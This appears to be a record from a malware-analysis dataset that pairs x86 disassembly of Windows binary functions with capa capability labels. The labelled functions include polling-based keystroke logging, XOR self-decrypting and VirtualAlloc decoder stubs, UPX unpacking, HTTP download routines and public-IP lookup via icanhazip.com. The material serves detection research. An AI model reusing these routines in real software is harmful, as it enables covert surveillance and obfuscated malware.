joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e5a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x5ada63
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e655
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e63e
test esi, esi
jbe 0x41e655
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088e4
test eax, eax
jne 0x41e630
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e655
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e60d
jmp 0x41e655
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e655
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ada6a
ret
Function at 0x41eec4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x5ae473
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41eeff
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41ef18
lea eax, [ebp - 0x10]
mov edx, dword [0x5c82a4]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41ef2b
lea eax, [ebp - 0x10]
mov edx, dword [0x5c82a4]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41ef37
adc edx, 0
mov edx, dword [edx*4 + 0x5c710c]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41f045
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41f038
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41f038
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41f038
cmp dx, 0x150
ja 0x41f038
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41f038
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41f05d
inc ebx
cmp ebx, 0x19
jne 0x41eef1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5ae47a
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1002e160
Capabilities:
Hash data using fnv
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1013d0b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0x102
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x214], eax
mov dword [eax], 1
je 0x1002e294
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push 0x10
mov dword [ebp - 0x208], ebx
mov esi, ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1b7
or ebx, 0x10000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1d4
mov ebx, esi
or ebx, 0x20000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1ef
mov ebx, esi
or ebx, 0x40000
mov dword [ebp - 0x208], ebx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10143cdc]
push edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10144758]
cmp eax, dword [ecx + 4]
jg 0x1002e2a6
movzx eax, bl
xor eax, 0x811c9dc5
mov edx, dword [0x1014473c]
imul ecx, eax, 0x1000193
movzx eax, bh
xor ecx, eax
movzx eax, byte [ebp - 0x206]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebp - 0x205]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul esi, ecx, 0x1000193
mov ecx, dword [0x10144744]
and esi, dword [0x10144750]
mov edi, dword [ecx + esi*8]
mov eax, edi
nop
cmp edi, edx
jne 0x1002e268
mov ecx, edx
jmp 0x1002e26e
mov ecx, dword [ecx + esi*8 + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002e291
cmp dword [eax + 8], ebx
je 0x1002e281
mov eax, dword [eax]
mov ecx, dword [0x10144744]
jmp 0x1002e260
cmp eax, edx
je 0x1002e291
mov eax, dword [ebp - 0x214]
mov dword [eax], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.100055f3
mov esp, ebp
pop ebp
ret 0x20
push 0x10144758
call fcn.100624f0
add esp, 4
cmp dword [0x10144758], 0xffffffff
jne 0x1002e210
mov ecx, 0x80
mov dword [0x10144738], 0
mov esi, 0x100ff040
mov dword [0x1014473c], 0
lea edi, [ebp - 0x204]
mov dword [0x10144740], 0
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, 0x1014473c
call fcn.100624f0
push 8
mov ecx, 0x10144738
mov dword [0x1014473c], eax
mov dword [0x10144744], 0
mov dword [0x10144748], 0
mov dword [0x1014474c], 0
mov dword [0x10144738], 0x3f800000
call fcn.100624f0
lea edi, [ebp - 0x204]
jmp 0x1002e340
mov eax, dword [0x1014473c]
mov ecx, 0x1014473c
push edi
mov esi, dword [eax]
mov eax, dword [esi + 4]
push eax
push esi
mov dword [ebp - 0x20c], eax
call fcn.100624f0
mov edx, dword [0x10144740]
mov ecx, 0x15555554
sub ecx, edx
mov dword [ebp - 0x210], eax
cmp ecx, 1
jb 0x1002e3d0
mov ecx, dword [ebp - 0x210]
inc edx
mov dword [0x10144740], edx
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x20c]
mov dword [eax], ecx
mov ecx, 0x10144738
mov eax, dword [0x1014473c]
mov eax, dword [eax]
push eax
add eax, 8
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.100624f0
add edi, 4
lea eax, [ebp - 4]
cmp edi, eax
jne 0x1002e340
push 0x100f22d0
call fcn.100624f0
push 0x10144758
call fcn.100624f0
add esp, 8
jmp 0x1002e210
push str.list_T__too_long
call fcn.100624f0
int3
Function at 0x100624f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x100624ff
pop dword [ebp - 0x44]
mov eax, 0x100624ff
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x7f78e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x4b87
mov edi, eax
mov esi, 0x55a9f43b
add esi, 0xba6c59c5
add esi, dword [ebp - 0x44]
mov ebx, 0xdd0ee57a
sub ebx, 0xeca8164a
mov edx, dword [esi]
mov dword [ebp - 0x34], 0x3a3832ff
xor edx, ebx
xor dword [ebp - 0x20], edx
mov dword [edi], edx
xor dword [ebp - 0x24], 0x7e8bf60b
add edi, 0x6cedcd44
sub edi, 0x6cedcd40
add esi, 0x6c4f19de
sub esi, 0x6c4f19da
loop 0x1006254e
add eax, 0x6c68b1ed
add eax, 0x93986f02
mov ebx, eax
add eax, 0x30f2c7f6
add eax, 0xcf0d380f
mov ecx, 0xaeed6aaa
sub ecx, 0x9eed6aaa
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x1009d6f0
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x30]
mov ecx, esi
call fcn.100491d0
movzx edi, al
mov ecx, esi
neg edi
sbb edi, edi
and edi, 0x800000
call fcn.100491d0
test al, al
je 0x1009d738
mov eax, dword [ebx]
push 0x800
push 0x54
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x100f4524]
mov ecx, ebx
call esi
lea esi, [ebx + 0x30]
push 0xd
mov ecx, ebx
call fcn.100624f0
cmp dword [ebx + 0x40], 0
je 0x1009d7a0
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.100624f0
push edi
push 0
push 0
push 0
push dword [eax]
push dword [ebx + 0x10]
push dword [ebx + 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [ebp - 4]
mov dword [ebx + 0x44], eax
add ecx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x1009d791
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
cmp dword [ebx + 0x44], 0
je 0x1009d7a7
push 0xe
mov ecx, ebx
call fcn.100624f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.100624f0
push 0x10126738
lea eax, [ebp - 0x10]
push eax
call fcn.100624f0
int3
Function at 0x1009db10
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeb79
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 1
call fcn.10002710
mov edi, eax
test edi, edi
je 0x1009dc5e
mov eax, dword [edi]
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp - 0x14], 1
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1009dc48
mov esi, dword [ebp - 0x10]
cmp esi, 0xa00000
ja 0x1009dc68
shr esi, 1
sub esi, 1
js 0x1009dc83
mov eax, dword [edi]
mov ecx, 1
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x1009dbe0
push esi
mov ecx, edi
call fcn.100624f0
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x1009dc83
mov dword [ecx - 0xc], esi
xor edx, edx
mov eax, dword [edi]
push edx
mov word [eax + esi*2], dx
lea eax, [ebp - 0x10]
push eax
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov ecx, dword [edi]
mov esi, eax
test ecx, ecx
je 0x1009dc25
push dword [ecx - 8]
push ecx
call fcn.100624f0
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x1009dc83
mov eax, dword [edi]
cmp ecx, dword [eax - 8]
jg 0x1009dc83
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [edi]
mov word [eax + ecx*2], dx
test esi, esi
jne 0x1009dc48
push esi
push 0x100f6204
mov ecx, edi
call fcn.100624f0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x80004005
call fcn.100624f0
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.100624f0
push 0x1012ad98
lea eax, [ebp - 0x20]
push eax
call fcn.100624f0
push 0x80070057
call fcn.100624f0
int3
Function at 0x1009dc90
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeba8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebx + 0x18]
lea esi, [ebx + 0x14]
sub edi, dword [esi]
mov eax, dword [ebp + 8]
add eax, edi
cmp eax, 0xa00000
jg 0x1009dd2a
lea ecx, [ebp - 0xd]
mov byte [ebp - 0xd], 0
push ecx
push esi
push eax
mov ecx, esi
call fcn.100624f0
mov eax, dword [esi]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
add eax, edi
mov dword [ebp - 0x14], 0
push eax
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1009dd45
mov eax, dword [ebp - 0x14]
mov ecx, esi
push esi
add eax, edi
push eax
call fcn.100624f0
push 0xa
mov ecx, ebx
call fcn.100624f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa10024
lea ecx, [ebp - 0x24]
call fcn.100624f0
push 0x1012ad98
lea eax, [ebp - 0x24]
push eax
call fcn.100624f0
push 0x100f6204
lea ecx, [ebp - 0x18]
call fcn.100624f0
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x38]
call fcn.100624f0
push 0x1012bb4c
lea eax, [ebp - 0x38]
push eax
call fcn.100624f0
int3
Function at 0x1009e1b0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eec38
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea ecx, [ebx + 0x30]
mov dword [ebx + 4], ebx
call fcn.100493d0
test eax, eax
jne 0x1009e1ed
xor edi, edi
jmp 0x1009e1f7
lea ecx, [ebx + 0x30]
call fcn.100493d0
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebx + 0x30]
call fcn.100624f0
mov esi, dword [eax]
mov ecx, 0x101448a8
movzx eax, byte [ebx + 0x3d]
push eax
mov dword [ebp - 4], 0
call fcn.100624f0
push 0
push 0
push 3
push 0
push 0
push edi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ecx, dword [ebp - 0x10]
mov dword [ebx + 0x48], eax
add ecx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x1009e25f
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x1009e292
push 0x1009ea40
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
cmp eax, 0xffffffff
je 0x1009e2c6
push 2
mov ecx, ebx
call fcn.100624f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x100f6204
lea ecx, [ebp - 0x10]
call fcn.100624f0
mov esi, eax
mov dword [ebp - 4], 1
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.100624f0
push 0x1012bb4c
lea eax, [ebp - 0x28]
push eax
call fcn.100624f0
push 0x100f6204
lea ecx, [ebp - 0x14]
call fcn.100624f0
mov esi, eax
mov dword [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x3c]
call fcn.100624f0
push 0x1012bb4c
lea eax, [ebp - 0x3c]
push eax
call fcn.100624f0
int3
Function at 0x1009e5e0
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeb38
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push dword [esi + 0x4c]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x1009e631
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1009e661
mov edx, dword [esi + 0x18]
sub edx, dword [esi + 0x14]
mov eax, dword [ebp - 0x10]
lea ecx, [edx + eax]
cmp ecx, eax
jb 0x1009e6b0
cmp ecx, edx
jb 0x1009e6b0
test eax, eax
je 0x1009e651
cmp ecx, 0xa00000
ja 0x1009e695
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
push 0x100f6204
lea ecx, [ebp - 0x14]
call fcn.100624f0
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x34]
call fcn.100624f0
push 0x1012bb4c
lea eax, [ebp - 0x34]
push eax
call fcn.100624f0
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.100624f0
push 0x1012ad98
lea eax, [ebp - 0x20]
push eax
call fcn.100624f0
push 0xcaa82f9b
lea ecx, [ebp - 0x2c]
call fcn.100624f0
push 0x1012ad98
lea eax, [ebp - 0x2c]
push eax
call fcn.100624f0
int3

Function at 0x1009e850
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eec98
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebx + 0x18]
lea esi, [ebx + 0x14]
sub edi, dword [esi]
mov ecx, dword [ebp + 8]
lea eax, [edi + ecx]
cmp eax, edi
jl 0x1009e8f1
cmp eax, ecx
jl 0x1009e8f1
cmp eax, 0xa00000
jg 0x1009e8f8
push esi
push eax
mov ecx, esi
call fcn.100624f0
mov eax, dword [esi]
lea ecx, [ebx + 0x40]
push ecx
push dword [ebp + 8]
add eax, edi
push eax
push dword [ebx + 0x4c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1009e8c6
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x1009e913
mov eax, dword [ebx + 0x40]
mov ecx, esi
push esi
add eax, edi
push eax
call fcn.100624f0
push 0xa
mov ecx, ebx
call fcn.100624f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa82f9c
jmp 0x1009e8fd
push 0xcaa10024
lea ecx, [ebp - 0x1c]
call fcn.100624f0
push 0x1012ad98
lea eax, [ebp - 0x1c]
push eax
call fcn.100624f0
push 0x100f6204
lea ecx, [ebp - 0x10]
call fcn.100624f0
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x30]
call fcn.100624f0
push 0x1012bb4c
lea eax, [ebp - 0x30]
push eax
call fcn.100624f0
int3
Function at 0x4162b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf000]
push edi
jmp 0x4162ca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4162d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4162c0
mov eax, 1
add ebx, ebx
jne 0x4162e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4162d8
jne 0x4162f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4162d8
xor ecx, ecx
sub eax, 3
jb 0x416308
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41637a
mov ebp, eax
add ebx, ebx
jne 0x416313
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416344
inc ecx
add ebx, ebx
jne 0x416330
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416325
jne 0x416341
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416325
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416364
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416355
jmp 0x4162c6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416364
add edi, ecx
jmp 0x4162c6
pop esi
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x4163c3
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1606c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416381
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16074]
or eax, eax
je 0x4163bd
mov dword [ebx], eax
add ebx, 4
jmp 0x41639e
call dword [esi + 0x16070]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4163f4
cmp al, 0xef
ja 0x4163e7
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4163c9
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4163d6
mov ebp, dword [esi + 0x16078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x416428
sub esp, 0xffffff80
jmp 0x405dd2

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
mov ecx, 0x33737cff
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x63ad3d2d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x403210
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x40329c
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push 0x4032a0
push 0x406018
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x4032a8
push 0x406018
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x406018
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x406018
mov esp, ebp
pop ebp
ret